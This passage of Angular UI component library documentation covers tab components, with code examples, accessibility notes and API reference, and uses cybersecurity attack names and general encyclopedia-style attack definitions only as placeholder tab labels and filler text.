                        all possible passwords and passphrases until the correct one is found. Alternatively, the
                        attacker can attempt to guess the key which is typically created from the password using a key
                        derivation function. This is known as an exhaustive key search. This approach doesn't depend on
                        intellectual tactics; rather, it relies on making several attempts.
                    </p>
                    <p>
                        A brute-force attack is a cryptanalytic attack that can, in theory, be used to attempt to
                        decrypt any encrypted data (except for data encrypted in an information-theoretically secure
                        manner). Such an attack might be used when it is not possible to take advantage of other
                        weaknesses in an encryption system (if any exist) that would make the task easier.
                    </p>
                </kbq-tab>
                <kbq-tab tooltipTitle="DDoS" empty [tooltipPlacement]="PopUpPlacements.Left">
                    <ng-template kbqTabLabel iconOnly>
                        <i kbq-icon="kbq-bug_16"></i>
                    </ng-template>
                    <p>
                        In computing, a denial-of-service attack (DoS attack) is a cyber-attack in which the perpetrator
                        seeks to make a machine or network resource unavailable to its intended users by temporarily or
                        indefinitely disrupting services of a host connected to a network. Denial of service is
                        typically accomplished by flooding the targeted machine or resource with superfluous requests in
                        an attempt to overload systems and prevent some or all legitimate requests from being fulfilled.
                        The range of attacks varies widely, spanning from inundating a server with millions of requests
                        to slow its performance, overwhelming a server with a substantial amount of invalid data, to
                        submitting requests with an illegitimate IP address.
                    </p>
                    <p>
                        In a distributed denial-of-service attack (DDoS attack), the incoming traffic flooding the
                        victim originates from many different sources. More sophisticated strategies are required to
                        mitigate this type of attack; simply attempting to block a single source is insufficient as
                        there are multiple sources. A DoS or DDoS attack is analogous to a group of people crowding the
                        entry door of a shop, making it hard for legitimate customers to enter, thus disrupting trade
                        and losing the business money. Criminal perpetrators of DoS attacks often target sites or
                        services hosted on high-profile web servers such as banks or credit card payment gateways.
                        Revenge and blackmail, as well as hacktivism, can motivate these attacks.
                    </p>
                </kbq-tab>
                <kbq-tab tooltipTitle="DoS" empty [tooltipPlacement]="PopUpPlacements.Left">
                    <ng-template kbqTabLabel iconOnly>
                        <i kbq-icon="kbq-bug_16"></i>
                    </ng-template>
                    <p>
                        In cryptography, a brute-force attack consists of an attacker submitting many passwords or
                        passphrases with the hope of eventually guessing correctly. The attacker systematically checks
                        all possible passwords and passphrases until the correct one is found. Alternatively, the
                        attacker can attempt to guess the key which is typically created from the password using a key
                        derivation function. This is known as an exhaustive key search. This approach doesn't depend on
                        intellectual tactics; rather, it relies on making several attempts.
                    </p>
                    <p>
                        A brute-force attack is a cryptanalytic attack that can, in theory, be used to attempt to
                        decrypt any encrypted data (except for data encrypted in an information-theoretically secure
                        manner). Such an attack might be used when it is not possible to take advantage of other
                        weaknesses in an encryption system (if any exist) that would make the task easier.
                    </p>
                </kbq-tab>
            </kbq-tab-group>
        </div>
    `,
    styleUrls: ['tabs-vertical-icons-example.css'],
    changeDetection: ChangeDetectionStrategy.OnPush,
    encapsulation: ViewEncapsulation.None
})
export class TabsVerticalIconsExample {
    readonly PopUpPlacements = PopUpPlacements;
}
```

```css tabs-vertical-icons-example.css
.example-tabs-vertical-icons .kbq-tab-group_vertical {
    height: 220px;
}

.example-tabs-vertical-icons .kbq-tab-body__wrapper {
    padding-left: var(--kbq-size-xl);
}
```

##### Underlined tabs

Use the `underlined` attribute.

**Example: Tabs underlined** (`tabs-underlined`)

```ts tabs-underlined-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqTabsModule } from '@koobiq/components/tabs';

@Component({
    selector: 'tabs-underlined-example',
    imports: [KbqTabsModule, KbqIconModule],
    template: `
        <kbq-tab-group class="layout-margin-bottom-l" underlined>
            @for (tab of tabs; track tab) {
                <kbq-tab [label]="tab" />
            }
        </kbq-tab-group>

        <kbq-tab-group class="layout-margin-bottom-l" underlined>
            @for (tab of tabs; track tab) {
                <kbq-tab>
                    <ng-template kbqTabLabel>
                        <i kbq-icon="kbq-bug_16"></i>
                        {{ tab }}
                    </ng-template>
                </kbq-tab>
            }
        </kbq-tab-group>

        <kbq-tab-group underlined>
            @for (tab of tabs; track tab) {
                <kbq-tab>
                    <ng-template kbqTabLabel iconOnly>
                        <i kbq-icon="kbq-bug_16"></i>
                    </ng-template>
                </kbq-tab>
            }
        </kbq-tab-group>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TabsUnderlinedExample {
    readonly tabs = ['BruteForce', 'Complex Attack', 'DDoS', 'HIPS alert'];
}
```

If a tab contains only an icon without a label, add the `iconOnly` attribute to the `kbqTabLabel` directive - this sets a fixed size of 32×32px for the clickable area.

##### Disabled

A disabled tab can't be selected. It doesn't have interactive states.

**Example: Tabs disabled** (`tabs-disabled`)

```ts tabs-disabled-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqTabsModule } from '@koobiq/components/tabs';

@Component({
    selector: 'tabs-disabled-example',
    imports: [KbqTabsModule],
    template: `
        <kbq-tab-group class="layout-margin-bottom-m">
            <kbq-tab label="BruteForce" />
            <kbq-tab label="Complex attack" disabled />
            <kbq-tab label="DDoS" disabled />
            <kbq-tab label="DoS" />
        </kbq-tab-group>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TabsDisabledExample {}
```

##### Empty tab

To specify that a tab is empty, use the `empty` attribute. You can select such a tab, and it has interactive states.

**Example: Tabs empty label** (`tabs-empty-label`)

```ts tabs-empty-label-example.ts
import { ChangeDetectionStrategy, Component, ViewEncapsulation } from '@angular/core';
import { PopUpPlacements } from '@koobiq/components/core';
import { KbqTabsModule } from '@koobiq/components/tabs';

@Component({
    selector: 'tabs-empty-label-example',
    imports: [KbqTabsModule],
    template: `
        <div class="example-tabs-empty-label">
            <kbq-tab-group>
                <kbq-tab label="BruteForce">
                    <div class="example-tabs-empty-label_tab-content">1005 incidents have been registered</div>
                </kbq-tab>
                <kbq-tab label="Complex Attack">
                    <p>
                        In cryptography, a brute-force attack consists of an attacker submitting many passwords or
                        passphrases with the hope of eventually guessing correctly. The attacker systematically checks
                        all possible passwords and passphrases until the correct one is found. Alternatively, the
                        attacker can attempt to guess the key which is typically created from the password using a key
                        derivation function. This is known as an exhaustive key search. This approach doesn't depend on
                        intellectual tactics; rather, it relies on making several attempts.
                    </p>
                    <p>
                        A brute-force attack is a cryptanalytic attack that can, in theory, be used to attempt to
                        decrypt any encrypted data (except for data encrypted in an information-theoretically secure
                        manner). Such an attack might be used when it is not possible to take advantage of other
                        weaknesses in an encryption system (if any exist) that would make the task easier.
                    </p>
                </kbq-tab>
                <kbq-tab label="DDoS" tooltipTitle="No incidents" empty [tooltipPlacement]="PopUpPlacements.Top">
                    <div class="example-tabs-empty-label_tab-content">No DDoS attacks have been registered</div>
                </kbq-tab>
                <kbq-tab label="DoS">
                    <p>
                        In computing, a denial-of-service attack (DoS attack) is a cyber-attack in which the perpetrator
                        seeks to make a machine or network resource unavailable to its intended users by temporarily or
                        indefinitely disrupting services of a host connected to a network. Denial of service is
                        typically accomplished by flooding the targeted machine or resource with superfluous requests in
                        an attempt to overload systems and prevent some or all legitimate requests from being fulfilled.
                        The range of attacks varies widely, spanning from inundating a server with millions of requests
                        to slow its performance, overwhelming a server with a substantial amount of invalid data, to
                        submitting requests with an illegitimate IP address.
                    </p>
                    <p>
                        In a distributed denial-of-service attack (DDoS attack), the incoming traffic flooding the
                        victim originates from many different sources. More sophisticated strategies are required to
                        mitigate this type of attack; simply attempting to block a single source is insufficient as
                        there are multiple sources. A DoS or DDoS attack is analogous to a group of people crowding the
                        entry door of a shop, making it hard for legitimate customers to enter, thus disrupting trade
                        and losing the business money. Criminal perpetrators of DoS attacks often target sites or
                        services hosted on high-profile web servers such as banks or credit card payment gateways.
                        Revenge and blackmail, as well as hacktivism, can motivate these attacks.
                    </p>
                </kbq-tab>
            </kbq-tab-group>
        </div>
    `,
    styleUrls: ['tabs-empty-label-example.css'],
    changeDetection: ChangeDetectionStrategy.OnPush,
    encapsulation: ViewEncapsulation.None
})
export class TabsEmptyLabelExample {
    readonly PopUpPlacements = PopUpPlacements;
}
```

```css tabs-empty-label-example.css
.example-tabs-empty-label .example-tabs-empty-label_tab-content {
    display: flex;
    align-items: center;
    justify-content: center;
    height: 200px;
}
```

Don't use empty tabs together with inactive tabs. They look similar, which may confuse users.

##### Scroll

Horizontal tabs don't wrap or shrink. If there isn't enough space, some tabs are hidden and scroll buttons appear at the edges. Tabs can also be scrolled horizontally on a touchpad, with the mouse wheel while holding Shift, or by dragging.

**Example: Tabs with scroll** (`tabs-with-scroll`)

```ts tabs-with-scroll-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqTabsModule } from '@koobiq/components/tabs';

@Component({
    selector: 'tabs-with-scroll-example',
    imports: [KbqTabsModule],
    template: `
        <div class="tabs-with-scroll-example">
            <kbq-tab-group>
                @for (tab of tabs; track tab) {
                    <kbq-tab [label]="tab" />
                }
            </kbq-tab-group>
        </div>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TabsWithScrollExample {
    readonly tabs = [
        'BruteForce',
        'Complex Attack',
        'DDoS',
        'HIPS alert',
        'IDS/IPS Alert',
        'Zero-Day Exploit',
        'XSS',
        'Malware',
        'Ransomware',
        'Phishing'
    ];
}
```

Vertical tabs can be scrolled if they don't fit within the available height.

**Example: Tabs with scroll vertical** (`tabs-with-scroll-vertical`)

```ts tabs-with-scroll-vertical-example.ts
import { ChangeDetectionStrategy, Component, ViewEncapsulation } from '@angular/core';
import { KbqTabsModule } from '@koobiq/components/tabs';

@Component({
    selector: 'tabs-with-scroll-vertical-example',
    imports: [KbqTabsModule],
    template: `
        <div class="example-tabs-with-scroll-vertical">
            <kbq-tab-group vertical>
                @for (tab of tabs; track tab) {
                    <kbq-tab [label]="tab">{{ tab }} tab content</kbq-tab>
                }
            </kbq-tab-group>
        </div>
    `,
    styleUrls: ['tabs-with-scroll-vertical-example.css'],
    changeDetection: ChangeDetectionStrategy.OnPush,
    encapsulation: ViewEncapsulation.None
})
export class TabsWithScrollVerticalExample {
    readonly tabs = [
        'BruteForce',
        'Complex Attack',
        'DDoS',
        'HIPS alert',
        'IDS/IPS Alert',
        'Zero-Day Exploit',
        'XSS',
        'Malware',
        'Ransomware',
        'Phishing'
    ];
}
```

```css tabs-with-scroll-vertical-example.css
.example-tabs-with-scroll-vertical .kbq-tab-group {
    height: 176px;
}

.example-tabs-with-scroll-vertical .kbq-tab-header {
    width: 200px;
}
```

##### Adjusting to the container width

By default, the width of horizontal tabs depends on the text inside them. If necessary, the panel with tabs can match the container width. For this, use the `kbq-stretch-tabs` attribute.

**Example: Tabs stretch** (`tabs-stretch`)

```ts tabs-stretch-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqTabsModule } from '@koobiq/components/tabs';

@Component({
    selector: 'tabs-stretch-example',
    imports: [KbqTabsModule],
    template: `
        <kbq-tab-group kbq-stretch-tabs>
            <kbq-tab label="BruteForce" />
            <kbq-tab label="Identity Theft" />
            <kbq-tab label="Spam Attack" />
        </kbq-tab-group>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TabsStretchExample {}
```

#### Customizable tab design

You can configure how tabs look according to your product design using the `kbqTabLabel` directive.

**Example: Tabs custom label** (`tabs-custom-label`)

```ts tabs-custom-label-example.ts
import { ChangeDetectionStrategy, Component, ViewEncapsulation } from '@angular/core';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqTabsModule } from '@koobiq/components/tabs';

@Component({
    selector: 'tabs-custom-label-example',
    imports: [
        KbqTabsModule,
        KbqIconModule
    ],
    template: `
        <div class="example-tabs-custom-label">
            <kbq-tab-group underlined>
                <kbq-tab>
                    <ng-template kbq-tab-label>
                        <i class="example-tabs-custom-label__icon" kbq-icon="kbq-apple_24"></i>
                        <div>macOS</div>
                        <div class="example-tabs-custom-label__subtitle">14.5+</div>
                    </ng-template>
                </kbq-tab>
                <kbq-tab>
                    <ng-template kbq-tab-label>
                        <i class="example-tabs-custom-label__icon" kbq-icon="kbq-windows_24"></i>
                        <div>Windows</div>
                        <div class="example-tabs-custom-label__subtitle">XP+</div>
                    </ng-template>
                </kbq-tab>
                <kbq-tab>
                    <ng-template kbq-tab-label>
                        <i class="example-tabs-custom-label__icon" kbq-icon="kbq-linux_24"></i>
                        <div>Linux</div>
                        <div class="example-tabs-custom-label__subtitle">Ubuntu 10+</div>
                    </ng-template>
                </kbq-tab>
                <kbq-tab>
                    <ng-template kbq-tab-label>
                        <i class="example-tabs-custom-label__icon" kbq-icon="kbq-bsd_24"></i>
                        <div>FreeBSD</div>
                        <div class="example-tabs-custom-label__subtitle">14.1+</div>
                    </ng-template>
                </kbq-tab>
            </kbq-tab-group>
        </div>
    `,
    styleUrls: ['tabs-custom-label-example.css'],
    changeDetection: ChangeDetectionStrategy.OnPush,
    encapsulation: ViewEncapsulation.None
})
export class TabsCustomLabelExample {}
```

```css tabs-custom-label-example.css
.example-tabs-custom-label {
    padding-bottom: var(--kbq-size-xxl);
}

.example-tabs-custom-label .example-tabs-custom-label__icon {
    margin-bottom: var(--kbq-size-xxs);
}

.example-tabs-custom-label .kbq-tab-label .kbq-tab-label__content {
    flex-direction: column;
    align-items: center;
    gap: 0;
}

.example-tabs-custom-label .example-tabs-custom-label__subtitle {
    font-size: var(--kbq-typography-text-compact-font-size);
    line-height: var(--kbq-typography-text-compact-line-height);
    font-weight: var(--kbq-typography-text-compact-font-weight);
    letter-spacing: var(--kbq-typography-text-compact-letter-spacing);
    color: var(--kbq-foreground-contrast-secondary);
}
```

#### Tabs and navigation

Unlike `KbqTabGroup`, `KbqTabNavBar` is used for navigation between application pages or sections (using `routerLink`).

A nav bar is a navigation landmark by default. It only becomes a real tablist when you point it at the region it drives with `[tabNavPanel]` — see [Accessibility](#accessibility).

**Example: Tabs nav bar overview** (`tabs-nav-bar-overview`)

```ts tabs-nav-bar-overview-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqTabsModule } from '@koobiq/components/tabs';

@Component({
    selector: 'tabs-nav-bar-overview-example',
    imports: [KbqTabsModule],
    template: `
        <nav kbqTabNavBar [tabNavPanel]="tabNavPanel">
            @for (link of links; track link) {
                <a kbqTabLink [active]="activeLink === link" (click)="activeLink = link">
                    {{ link }}
                </a>
            }
            <a disabled kbqTabLink>DoS</a>
        </nav>
        <main #tabNavPanel="kbqTabNavPanel" kbqTabNavPanel>
            Active link: {{ activeLink }}
            <!-- Perfect place for your <router-outlet /> -->
        </main>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TabsNavBarOverviewExample {
    readonly links = ['BruteForce', 'Complex attack', 'DDos'];
    activeLink = this.links[0];
}
```

#### Creating tabs

Create and delete tabs like in a browser. The create button is located at the end of the list of tabs. When there is scrolling, the button moves to the right to remain visible.

**Example: Tabs add tab** (`tabs-add-tab`)

```ts tabs-add-tab-example.ts
import { afterNextRender, ChangeDetectionStrategy, Component, inject, Injector, viewChildren } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqTabLink, KbqTabsModule } from '@koobiq/components/tabs';
import { KbqToolTipModule } from '@koobiq/components/tooltip';

@Component({
    selector: 'tabs-add-tab-example',
    imports: [KbqTabsModule, KbqButtonModule, KbqIconModule, KbqToolTipModule],
    template: `
        <div class="example-tabs-add-tab__bar">
            <nav kbqTabNavBar class="example-tab-nav-bar" [tabNavPanel]="tabNavPanel">
                @for (tab of tabs; track tab) {
                    <a kbqTabLink [active]="activeTab === tab" (click)="activeTab = tab">
                        {{ tab }}
                        @if (activeTab === tab) {
                            <div class="example-tab-close">
                                <button
                                    color="contrast-fade"
                                    kbq-icon-button="kbq-xmark-s_16"
                                    kbqTooltip="Remove tab"
                                    aria-label="Remove tab"
                                    (click)="removeTab(tab, $event)"
                                    (keydown)="$event.stopPropagation()"
                                ></button>
                            </div>
                        }
                    </a>
                }
            </nav>
            <button
                color="contrast"
                kbqStyle="transparent"
                kbq-button
                aria-label="Add"
                kbqTooltip="Add tab"
                (click)="addTab()"
            >
                <i kbq-icon="kbq-plus_16"></i>
            </button>
        </div>

        <div #tabNavPanel="kbqTabNavPanel" kbqTabNavPanel class="example-tabs-add-tab__content">
            {{ activeTab }} content
        </div>
    `,
    styleUrls: ['./tabs-add-tab-example.css'],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TabsAddTabExample {
    private readonly injector = inject(Injector);
    private readonly tabLinks = viewChildren(KbqTabLink);

    protected tabs = ['BruteForce', 'Complex Attack', 'DDoS', 'HIPS alert'];
    protected activeTab = this.tabs[0];

    protected addTab(): void {
        const newTab = `Tab ${this.tabs.length + 1}`;

        this.tabs = [...this.tabs, newTab];
        this.activeTab = newTab;

        afterNextRender(() => this.tabLinks().at(-1)?.focus(), { injector: this.injector });
    }

    protected removeTab(tab: string, event: Event): void {
        event.stopPropagation();
        const index = this.tabs.indexOf(tab);

        this.tabs = this.tabs.filter((t) => t !== tab);

        if (this.tabs.length > 0) {
            this.activeTab = this.tabs[Math.max(0, index - 1)];
        }
    }
}
```

```css ./tabs-add-tab-example.css
:host {
    display: flex;
    flex-direction: column;
    --tab-nav-selected: var(--kbq-tabs-tab-item-filled-on-background-states-selected-background);
}

.example-tabs-add-tab__bar {
    display: flex;
    align-items: center;
}

.example-tabs-add-tab__content {
    padding-top: var(--kbq-size-m);
}

.example-tab-nav-bar {
    overflow: hidden;
}

.example-tab-close {
    position: absolute;
    right: calc(var(--kbq-tabs-size-tab-item-padding-horizontal) - var(--kbq-tabs-size-tab-item-focus-outline-width));
    top: 0;
    bottom: 0;
    width: 32px;
    display: flex;
    align-items: center;
    justify-content: flex-end;
    background: linear-gradient(var(--tab-nav-selected), var(--tab-nav-selected)), var(--kbq-background-bg);
    mask-image: linear-gradient(to right, transparent 0%, black 50%);
}
```

Vertical tabs

**Example: Tabs add tab vertical** (`tabs-add-tab-vertical`)

```ts tabs-add-tab-vertical-example.ts
import { afterNextRender, ChangeDetectionStrategy, Component, inject, Injector, viewChildren } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqScrollbarViewport } from '@koobiq/components/scrollbar';
import { KbqTabLink, KbqTabsModule } from '@koobiq/components/tabs';
import { KbqToolTipModule } from '@koobiq/components/tooltip';

@Component({
    selector: 'tabs-add-tab-vertical-example',
    imports: [KbqTabsModule, KbqButtonModule, KbqIconModule, KbqToolTipModule, KbqScrollbarViewport],
    template: `
        <div class="example-tab-nav-bar__wrapper">
            <nav kbqTabNavBar vertical class="example-tab-nav-bar" [tabNavPanel]="tabNavPanel">
                @for (tab of tabs; track tab) {
                    <a kbqTabLink class="example-tab-link" [active]="activeTab === tab" (click)="activeTab = tab">
                        {{ tab }}
                        @if (activeTab === tab) {
                            <div class="example-tab-close">
                                <button
                                    color="contrast-fade"
                                    kbq-icon-button="kbq-xmark-s_16"
                                    kbqTooltip="Remove tab"
                                    aria-label="Remove tab"
                                    (click)="removeTab(tab, $event)"
                                    (keydown)="$event.stopPropagation()"
                                ></button>
                            </div>
                        }
                    </a>
                }
            </nav>
            <button
                class="example-tab-add-button"
                color="contrast-fade"
                kbq-button
                aria-label="Add"
                kbqTooltip="Add tab"
                (click)="addTab()"
                (keydown)="$event.stopPropagation()"
            >
                <i kbq-icon="kbq-plus_16"></i>
            </button>
        </div>

        <div
            #tabNavPanel="kbqTabNavPanel"
            kbqScrollbarViewport
            kbqTabNavPanel
            class="example-tabs-add-tab-vertical__content"
        >
            <h2 [style.margin-top.px]="0">{{ activeTab }}</h2>
            <p>
                In cryptography, a brute-force attack consists of an attacker submitting many passwords or passphrases
                with the hope of eventually guessing correctly. The attacker systematically checks all possible
                passwords and passphrases until the correct one is found. Alternatively, the attacker can attempt to
                guess the key which is typically created from the password using a key derivation function. This is
                known as an exhaustive key search. This approach doesn't depend on intellectual tactics; rather, it
                relies on making several attempts.
            </p>
            <p>
                In cryptography, a brute-force attack consists of an attacker submitting many passwords or passphrases
                with the hope of eventually guessing correctly. The attacker systematically checks all possible
                passwords and passphrases until the correct one is found. Alternatively, the attacker can attempt to
                guess the key which is typically created from the password using a key derivation function. This is
                known as an exhaustive key search. This approach doesn't depend on intellectual tactics; rather, it
                relies on making several attempts.
            </p>
        </div>
    `,
    styleUrls: ['./tabs-add-tab-vertical-example.css'],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TabsAddTabVerticalExample {
    private readonly injector = inject(Injector);
    private readonly tabLinks = viewChildren(KbqTabLink);

    protected tabs = ['BruteForce', 'Complex Attack', 'DDoS', 'HIPS alert'];
    protected activeTab = this.tabs[0];

    protected addTab(): void {
        const newTab = `Tab ${this.tabs.length + 1}`;

        this.tabs = [...this.tabs, newTab];
        this.activeTab = newTab;

        afterNextRender(() => this.tabLinks().at(-1)?.focus(), { injector: this.injector });
    }

    protected removeTab(tab: string, event: Event): void {
        event.stopPropagation();
        const index = this.tabs.indexOf(tab);

        this.tabs = this.tabs.filter((t) => t !== tab);

        if (this.tabs.length > 0) {
            this.activeTab = this.tabs[Math.max(0, index - 1)];
        }
    }
}
```

```css ./tabs-add-tab-vertical-example.css
:host {
    display: flex;
    width: 100%;
    max-width: 100%;
    height: 250px;
    --tab-nav-selected: var(--kbq-tabs-tab-item-filled-on-background-states-selected-background);
}

.example-tab-nav-bar {
    min-height: 0;
}

.example-tab-link {
    display: inline-block;
    text-align: left;
    overflow: hidden;
    text-overflow: ellipsis;
}

.example-tab-close {
    position: absolute;
    right: calc(var(--kbq-tabs-size-tab-item-padding-horizontal) - var(--kbq-tabs-size-tab-item-focus-outline-width));
    top: 0;
    bottom: 0;
    width: 32px;
    display: flex;
    align-items: center;
    justify-content: flex-end;
    background: linear-gradient(var(--tab-nav-selected), var(--tab-nav-selected)), var(--kbq-background-bg);
    mask-image: linear-gradient(to right, transparent 0%, black 50%);
}

.example-tabs-add-tab-vertical__content {
    flex: 1;
    padding: var(--kbq-size-m);
    overflow: auto;
}

.example-tab-nav-bar__wrapper {
    display: flex;
    flex-direction: column;
    height: 100%;
    width: 240px;
    gap: var(--kbq-size-s);
}
```

#### Hot keys

Horizontal and vertical tabs take different arrows, and the pair that does not match the orientation does nothing.

| Key           | Action                                          |
| ------------- | ----------------------------------------------- |
| ←             | Move the focus to the previous tab (horizontal) |
| →             | Move the focus to the next tab (horizontal)     |
| ↑             | Move the focus to the previous tab (vertical)   |
| ↓             | Move the focus to the next tab (vertical)       |
| Home          | Move the focus to the first tab                 |
| End           | Move the focus to the last tab                  |
| Space / Enter | Select the tab in focus                         |

#### Accessibility

**Activation is manual.** Arrow keys move the focus without changing the selection: the tab in focus becomes the current one only on `Space` or `Enter`. This lets a user walk a long strip without loading every panel on the way.

**The strip is a single tab stop.** Exactly one tab carries `tabindex="0"` and the rest carry `-1`, so `Tab` enters and leaves the strip in one press and the arrows move within it. Disabled tabs stay in the strip but are skipped by the arrows, so a group whose first tab is disabled is still reachable.

**`KbqTabGroup` emits the full tabs pattern.** The label strip is a `tablist` (with `aria-orientation="vertical"` when `vertical` is set), each label is a `tab` with `aria-selected` and `aria-controls`, and each content region is a `tabpanel` with `aria-labelledby` pointing back at its label. The active panel takes a tab stop of its own so it is reachable even when it holds nothing focusable.

**`KbqTabNavBar` needs `[tabNavPanel]`.** Without it the nav bar is plain navigation: it emits no `role="tablist"`, its links emit no `role="tab"`/`aria-selected`, and the active link is marked with `aria-current="page"` instead. Bind `[tabNavPanel]` to a `kbqTabNavPanel` element whenever the nav bar switches a region on the same page rather than navigating away.

#### State Saving

A tab group remembers which tab was selected and restores the state after a page reload. On by default — use `[useStateSaving]="false"` to turn it off on a specific component.

**Example: Tabs state saving** (`tabs-state-saving`)

```ts tabs-state-saving-example.ts
import { ChangeDetectionStrategy, Component, viewChild } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqTabGroup, KbqTabsModule } from '@koobiq/components/tabs';

@Component({
    selector: 'tabs-state-saving-example',
    imports: [KbqTabsModule, KbqButtonModule],
    template: `
        <div class="layout-column layout-align-center-center docs-example-vertical-margin">
            <kbq-tab-group stateSavingKey="tabs-state-saving-example" style="width: 100%">
                <!-- A tabId is what makes the selection survive the tabs being reordered. -->
                <kbq-tab tabId="delivery">
                    <ng-template kbq-tab-label>Доставка</ng-template>
                    Данный текст используется для иллюстрации содержимого вкладки
                </kbq-tab>
                <kbq-tab tabId="payment">
                    <ng-template kbq-tab-label>Оплата</ng-template>
                    Данный текст используется для иллюстрации содержимого вкладки
                </kbq-tab>
                <kbq-tab tabId="refund">
                    <ng-template kbq-tab-label>Возврат</ng-template>
                    Данный текст используется для иллюстрации содержимого вкладки
                </kbq-tab>
            </kbq-tab-group>

            <button kbq-button class="layout-margin-top-l" type="button" (click)="group().clearSavedState()">
                Reset saved state
            </button>
        </div>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TabsStateSavingExample {
    protected readonly group = viewChild.required(KbqTabGroup);
}
```

Nothing is persisted while `selectedIndex` or `activeTab` is bound: the selection belongs to whatever drives that binding.

Give the tabs a `tabId`. It is the only identity that survives the tabs being reordered — without it the selection falls back to a position, and a dev-mode warning says so.

`kbq-tab-nav-bar` never persists: the router decides which link is active, and the URL is the state worth restoring. `clearSavedState()` removes what is stored.

Keys, storage and expiry work the same for every component that persists — see [Saving component state](https://koobiq.io/en/components/core.md#saving-component-state).

#### Recommendations

Use tabs in the following cases:

- For content navigation on a page when it's vital to have quick access to separate parts.
- For additional navigation.

Don't use tabs in the following cases:

- When you can place all content on a single page or screen. There's no need to hide some of its parts under tabs.
- For selecting values in forms. Don't confuse tabs with input boxes: [radio buttons](https://koobiq.io/en/components/radio.md) and [button toggles](https://koobiq.io/en/components/button-toggle.md).
- For main navigation. Use the [Navbar](https://koobiq.io/en/components/navbar.md) component instead.
- When you need to change the view for the same type of data (list, tile, or table). Instead, use a [button menu](https://koobiq.io/en/components/dropdown.md) or [button toggle](https://koobiq.io/en/components/button-toggle.md).
- When there's already content in a tab. You can't use both vertical and horizontal tabs at the same time. Instead, use fewer tabs, use only one type of tab, a button toggle, or button menu.
- If there's only one tab, you don't need a panel with tabs.
- For indicating steps in the form master. Tabs have a similar appearance to steps. To make sure that there is no confusion, a designer must use different styles for these elements. It's useful to leave a comment for a developer as well. For example: Note that these are form steps, not tabs.

### API

#### Components

##### KbqTab (component)

```ts
@Component({ selector: 'kbq-tab', exportAs: 'kbqTab' })
class KbqTab {
    tooltipTitle = input<string | undefined>();
    disabled = input<boolean | undefined>();
    readonly tooltipPlacement = input<KbqPopUpPlacementValues>(
        PopUpPlacements.Right
    );
    readonly textLabel = input<string>('', { alias: 'label' });
    readonly empty = input<boolean>(false);
    readonly tabId = input<string>();
    templateLabel: KbqTabLabel;
    readonly explicitContent: Signal<TemplateRef<any> | undefined>;
    readonly implicitContent: Signal<TemplateRef<any>>;
    get iconOnlyLabel(): boolean;
    readonly stateChanges: Subject<void>;
    position: number | null;
    origin: number | null;
    isActive: boolean;
    get isOverflown(): boolean;
    overflowTooltipTitle: string;
}
```

- `[disabled]`: `boolean | undefined` — Whether the tab is disabled: it cannot be selected and has no interactive states.
- `[tooltipPlacement]`: `KbqPopUpPlacementValues` — Placement of the tooltip shown for a truncated or empty label.
- `[label]`: `string` — Plain text label for the tab, used when there is no template label.
- `templateLabel`: `KbqTabLabel` — The label template of the tab: the `kbqTabLabel` in its content, or else the one assigned in code.
- `explicitContent`: `Signal<TemplateRef<any> | undefined>` — Template provided in the tab content that will be used if present, used to enable lazy-loading
- `implicitContent`: `Signal<TemplateRef<any>>` — Template inside the KbqTab view that contains an `<ng-content>`.
- `iconOnlyLabel`: `boolean` — Whether the tab label contains only an icon (no text).
- `stateChanges`: `Subject<void>` — Emits whenever the internal state of the tab changes.
- `position`: `number | null` — The relatively indexed position where 0 represents the center, negative is left, and positive
  represents the right.
- `origin`: `number | null` — The initial relatively index origin of the tab if it was created and selected after there
  was already a selected tab. Provides context of what position the tab should originate from.
- `isActive`: `boolean` — Whether the tab is currently active. A template that reads it is updated when it changes.

##### KbqTabGroup (component)

Tab-group component.  Supports basic tab pairs (label + content) and includes keyboard navigation.

```ts
@Component({ selector: 'kbq-tab-group', exportAs: 'kbqTabGroup' })
class KbqTabGroup {
    readonly transparent = input<boolean>(false);
    readonly onSurface = input<boolean>(false);
    readonly underlined = input<boolean>(false);
    readonly vertical = input<boolean>(false);
    readonly dynamicHeight = input<boolean>(false);
    selectedIndex = model<number | undefined>();
    activeTab = model<KbqTabSelectBy | null | undefined>();
    headerPosition = input<KbqTabHeaderPosition | undefined>();
    animationDuration = input<string | undefined>();
    readonly focusChange = output<KbqTabChangeEvent>();
    readonly animationDone = output<void>();
    readonly selectedTabChange = output<KbqTabChangeEvent>();
    get tabs(): QueryList<KbqTab>;
    readonly tabBodyWrapper: Signal<ElementRef<any>>;
    readonly tabHeader: Signal<KbqTabHeader>;
    get hasSavedState(): boolean;
    focusChanged(index: number): void;
    getTabLabelId(i: number): string;
    getTabContentId(i: number): string;
    setTabBodyWrapperHeight(tabHeight: number): void;
    removeTabBodyWrapperHeight(): void;
    handleClick(
        tab: KbqTab,
        tabHeader: KbqTabHeader,
        index: number
    ): void;
    getTabIndex(
        tab: KbqTab,
        tabHeader: KbqTabHeader,
        index: number
    ): number;
    onSelectFocusedIndex($event: number): void;
    saveState(): void;
    clearSavedState(): void;
}
```

- `[transparent]`: `boolean` — Whether the tab strip background should be transparent.
- `[onSurface]`: `boolean` — Whether the group is rendered on a surface rather than on the page background.
- `[underlined]`: `boolean` — Whether the selected tab is marked with an underline instead of a filled background.
- `[vertical]`: `boolean` — Whether the tab strip is laid out vertically, alongside the content instead of above it.
- `[dynamicHeight]`: `boolean` — Whether the tab group should grow to the size of the active tab.
